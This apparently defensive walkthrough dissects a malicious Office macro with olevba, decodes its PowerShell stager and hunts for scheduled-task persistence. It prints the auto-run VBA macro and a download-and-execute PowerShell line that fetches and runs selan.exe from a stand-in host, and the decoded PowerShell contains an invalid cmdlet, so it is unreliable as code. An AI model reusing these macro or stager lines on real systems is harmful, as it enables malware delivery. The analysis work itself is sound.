In early 2026, a phishing campaign targeting logistics firms dropped a weaponized .docm file that bypassed email gateways by embedding its payload inside a legitimate-looking invoice template. The macro ran on open, established persistence, and beaconed out — all before the user closed the document. This walkthrough shows you exactly how to pull those macros apart.
\n\n
Step 1: Extract and Triage the Macro with olevba
\n\n
olevba is a command-line tool from the oletools suite that extracts and decompiles VBA code from Office files without executing it. Start here — never open a suspicious file in Word directly on your analysis machine.
\n\n
Run the triage scan first:
\n\n
$ olevba --reveal invoice_Q2_2026.docm\n\nolevba 0.60.1 - https://github.com/decalage2/oletools\nFilename: invoice_Q2_2026.docm\n+----------+--------------------+---------------------------------------------+\n| Type | Keyword | Description |\n+----------+--------------------+---------------------------------------------+\n| AutoExec | AutoOpen | Runs macro automatically on document open |\n| Suspicious | Shell | May run an executable or cmd |\n| Suspicious | WScript.Shell | Windows Script Host shell execution |\n| Suspicious | Chr( | Char encoding used to obfuscate strings |\n| IOC | 192.0.2.47 | IP address |\n| IOC | /update/beacon.php | URL path |\n+----------+--------------------+---------------------------------------------+
\n\n
Three things stand out immediately. AutoOpen means the macro fires the moment someone enables content — no additional click required. WScript.Shell combined with Chr( encoding is a classic obfuscation pair: the attacker concatenates character codes at runtime to hide the actual command from static scanners. And there are live IOCs — an IP and a URL path baked into the document.
\n\n
Next, dump the full decompiled VBA to see what those obfuscated strings actually say:
\n\n
$ olevba --deobf invoice_Q2_2026.docm 2>&1 | grep -A 30 \"AutoOpen\"\n\nSub AutoOpen()\n Dim oShell As Object\n Dim sCmd As String\n Set oShell = CreateObject(\"WScript.Shell\")\n sCmd = \"powershell -NoP -W Hidden -Enc JABjACAAPQAgAE4AZQB3AC0A...\"\n oShell.Run sCmd, 0, False\nEnd Sub
\n\n
The -Enc flag means PowerShell is receiving a Base64-encoded command. The -W Hidden hides the window. This is a stager — its only job is to download and execute a second-stage payload. Decode that Base64 string before you do anything else.
\n\n
Step 2: Decode the Embedded PowerShell Payload
\n\n
Grab the Base64 blob and decode it on your isolated Linux analysis box:
\n\n
$ echo 'JABjACAAPQAgAE4AZQB3AC0AUwBjAHIAaQBwAHQAQgBsAG8AYwBrACgAKQA7ACQAYwAuAFUAUgBMACAAPQAgACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADAALgAyAC4ANAA3AC8AdQBwAGQAYQB0AGUALwBiAGUAYQBjAG8AbgAuAHAAaABwACcAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAQwA6AFwAVABlAG0AcABcAHMAZQBsAGEAbgAuAGUAeABlACcAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAnAEMAOgBcAFQAZQBtAHAAXABzAGUAbABhAG4ALgBlAHgAZQAnAA==' | base64 -d\n\n$c = New-ScriptBlock(); $c.URL = 'http://192.0.2.47/update/beacon.php'; $c.DownloadFile('C:\\Temp\\selan.exe'); Start-Process 'C:\\Temp\\selan.exe'
\n\n
Now the attack chain is clear. The macro spawns PowerShell, which downloads selan.exe from 192.0.2.47 into C:\Temp\ and executes it immediately. The filename selan.exe is generic by design — it blends into a busy process list.
\n\n
At this point you have three actionable items. Block 192.0.2.47 at your perimeter firewall right now. Search your SIEM for any outbound connections to that IP or requests to /update/beacon.php. And submit selan.exe to a sandboxed environment — Any.run or an internal Cuckoo instance — to capture its runtime behavior, network calls, and registry writes.
\n\n
Step 3: Pivot to Host Forensics
\n\n
If you suspect a host already ran this macro, check for the dropped binary and the scheduled task persistence that often follows:
\n\n
# On the suspect Windows host via PowerShell remoting\nGet-ScheduledTask | Where-Object { $_.TaskPath -like \"\\Microsoft\\Windows\\*\" -and $_.Date -gt (Get-Date).AddDays(-3) } | Select TaskName, TaskPath, Date\n\nTaskName TaskPath Date\n-------- -------- ----\nWindowsCacheSync \\Microsoft\\Windows\\Shell\\ 2026-07-11 14:23:07\nUpdateHelperSvc \\Microsoft\\Windows\\NetworkList\\ 2026-07-11 14:23:09
\n\n
Two scheduled tasks created two minutes apart, both in legitimate-sounding Microsoft subpaths — that timing and naming pattern is a red flag. Pull the task XML to see what binary they’re executing:
\n\n
(Get-ScheduledTask -TaskName \"WindowsCacheSync\").Actions\n\nExecute : C:\\Users\\jmorris\\AppData\\Roaming\\selan.exe\nArguments: -s -c 192.0.2.47:443
\n\n
There it is. The same binary, now living in a user’s AppData\\Roaming folder, calling back to the same C2 over port 443 to blend with HTTPS traffic. Kill the tasks, isolate the machine, and preserve that executable for deeper analysis before wiping.
\n\n
What To Do Now
\n\n
If you don’t have oletools installed on your malware analysis VM, fix that today. Run pip install oletools, grab any suspicious Office attachment from your quarantine queue, and run olevba --reveal against it. You’ll likely find something worth investigating — and you’ll have the workflow to know exactly what to do next.
